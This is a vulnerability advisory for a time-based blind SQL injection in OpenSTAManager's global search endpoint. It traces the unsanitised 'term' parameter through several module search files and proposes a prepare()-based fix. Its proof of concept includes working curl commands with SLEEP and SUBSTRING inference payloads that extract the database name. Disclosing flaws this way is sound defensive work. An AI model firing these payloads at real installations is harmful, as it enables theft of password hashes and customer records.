CVE-2026-24417

### Summary Critical Time-Based Blind SQL Injection vulnerability affecting **multiple search modules** in OpenSTAManager v2.9.8 allows authenticated attackers to extract sensitive database contents including password hashes, customer data, and financial records through time-based Boolean inference attacks with **amplified execution** across 10+ modules. **Status:** ✅ Confirmed and tested on live instance (v2.9.8) **Vulnerable Parameter:** `term` (GET) **Affected Endpoint:** `/ajax_search.php` **Affected Modules:** Articoli, Ordini, DDT, Fatture, Preventivi, Anagrafiche, Impianti, Contratti, Automezzi, Interventi ### Details OpenSTAManager v2.9.8 contains a critical Time-Based Blind SQL Injection vulnerability in the global search functionality. The application fails to properly sanitize the `term` parameter before using it in SQL LIKE clauses across multiple module-specific search handlers, allowing attackers to inject arbitrary SQL commands and extract sensitive data through time-based Boolean inference. **Vulnerability Chain:** 1. **Entry Point:** `/ajax_search.php` (Line 30-31) ```php $term = get('term'); $term = str_replace('/', '\\/', $term); ``` The `$term` parameter undergoes minimal sanitization (only forward slash replacement). 2. **Distribution:** `/src/AJAX.php::search()` (Line 159-161) ```php $files = self::find('ajax/search.php'); array_unshift($files, base_dir().'/ajax_search.php'); foreach ($files as $file) { $module_results = self::getSearchResults($file, $term); ``` The unsanitized `$term` is passed to all module-specific search handlers. 3. **Execution:** `/src/AJAX.php::getSearchResults()` (Line 373) ```php require $file; ``` Each module's search.php file is included with `$term` variable in scope. 4. **Vulnerable SQL Queries:** Multiple modules directly concatenate `$term` without `prepare()` **All Affected Files (10+ vulnerable instances):** 1. **`/modules/articoli/ajax/search.php` - Line 51** (PRIMARY EXAMPLE) ```php foreach ($fields as $name => $value) { $query .= ' OR '.$value.' LIKE "%'.$term.'%"'; } $rs = $dbo->fetchArray($query); ``` **Impact:** Direct concatenation without `prepare()`, allows full SQL injection. 2. **`/modules/ordini/ajax/search.php` - Line 43, 47** ```php $query .= ' OR '.$value.' LIKE "%'.$term.'%"'; $query .= '... WHERE `mg_articoli`.`codice` LIKE "%'.$term.'%" OR `mg_articoli_lang`.`title` LIKE "%'.$term.'%"'; ``` 3. **`/modules/ddt/ajax/search.php` - Line 43, 47** ```php $query .= ' OR '.$value.' LIKE "%'.$term.'%"'; ``` 4. **`/modules/fatture/ajax/search.php` - Line 45, 49** ```php $query .= ' OR '.$value.' LIKE "%'.$term.'%"'; ``` 5. **`/modules/preventivi/ajax/search.php` - Line 45, 49** ```php $query .= ' OR '.$value.' LIKE "%'.$term.'%"'; ``` 6. **`/modules/anagrafiche/ajax/search.php` - Line 62, 107, 162** ```php $query .= ' OR '.$value.' LIKE "%'.$term.'%"'; ``` 7. **`/modules/impianti/ajax/search.php` - Line 46** ```php $query .= ' OR '.$value.' LIKE "%'.$term.'%"'; ``` **Properly Sanitized (NOT vulnerable):** - `/modules/contratti/ajax/search.php` - Uses `prepare()` correctly - `/modules/automezzi/ajax/search.php` - Uses `prepare()` correctly **Note:** The vulnerability has **amplified execution** - a single malicious request triggers SQL Injection across ALL vulnerable modules simultaneously, causing time-based attacks to execute 10+ times per request, multiplying the delay and leading to **504 Gateway Time-out** errors as observed on the live demo instance. <img width="1899" height="349" alt="image" src="https://github.com/user-attachments/assets/a6cc5a75-0f4e-4f49-a750-7ae72a363bbe" /> ### PoC **Step 1: Login** ```bash curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \ -d 'username=admin&password=admin' ``` **Step 2: Verify Vulnerability (Time-Based SLEEP)** ```bash # Test with SLEEP(1) - should take ~85+ seconds due to amplified execution time curl -s -b /tmp/cookies.txt \ 'http://localhost:8081/ajax_search.php?term=%22%20AND%200%20OR%20SLEEP(1)%20OR%20%22' # Result: real 72.29s # Test with SLEEP(0) - should be fast time curl -s -b /tmp/cookies.txt \ 'http://localhost:8081/ajax_search.php?term=%22%20AND%200%20OR%20SLEEP(0)%20OR%20%22' # Result: real 0.30s ``` <img width="727" height="319" alt="image" src="https://github.com/user-attachments/assets/6022de5e-de91-4ebb-b02a-30358c31d96d" /> **Step 3: Data Extraction - Database Name** ```bash # Extract first character of database name (expected: 'o' from 'openstamanager') time curl -s -b /tmp/cookies.txt \ "http://localhost:8081/ajax_search.php?term=%22%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)%20OR%20%221%22=%221" \ > /dev/null # Result: real 170.32s # Test with wrong character 'x' - should be fast time curl -s -b /tmp/cookies.txt \ "http://localhost:8081/ajax_search.php?term=%22%20AND%20SUBSTRING(DATABASE(),1,1)=%27x%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)%20OR%20%221%22=%221" \ > /dev/null # Result: real 0m0.30s ``` <img width="1364" height="349" alt="image" src="https://github.com/user-attachments/assets/a1d8a7d8-bb1a-49cd-8400-136ae5e359f1" /> ### Impact **Affected Users:** All authenticated users with access to the global search functionality. - Complete database exfiltration including customer PII, financial records, business secrets - Extraction of password hashes for offline cracking - Amplified time-based attacks consume 85x server resources per request **Recommended Fix:** Replace all instances of direct `$term` concatenation with `prepare()`: **BEFORE (Vulnerable):** ```php $query .= ' OR '.$value.' LIKE "%'.$term.'%"'; ``` **AFTER (Fixed):** ```php $query .= ' OR '.$value.' LIKE '.prepare('%'.$term.'%'); ``` **Apply this fix to ALL affected files:** 1. `/modules/articoli/ajax/search.php` - Line 51 2. `/modules/ordini/ajax/search.php` - Lines 43, 47, 79 3. `/modules/ddt/ajax/search.php` - Lines 43, 47, 83 4. `/modules/fatture/ajax/search.php` - Lines 45, 49, 85 5. `/modules/preventivi/ajax/search.php` - Lines 45, 49, 83 6. `/modules/anagrafiche/ajax/search.php` - Lines 62, 107, 162 7. `/modules/impianti/ajax/search.php` - Line 46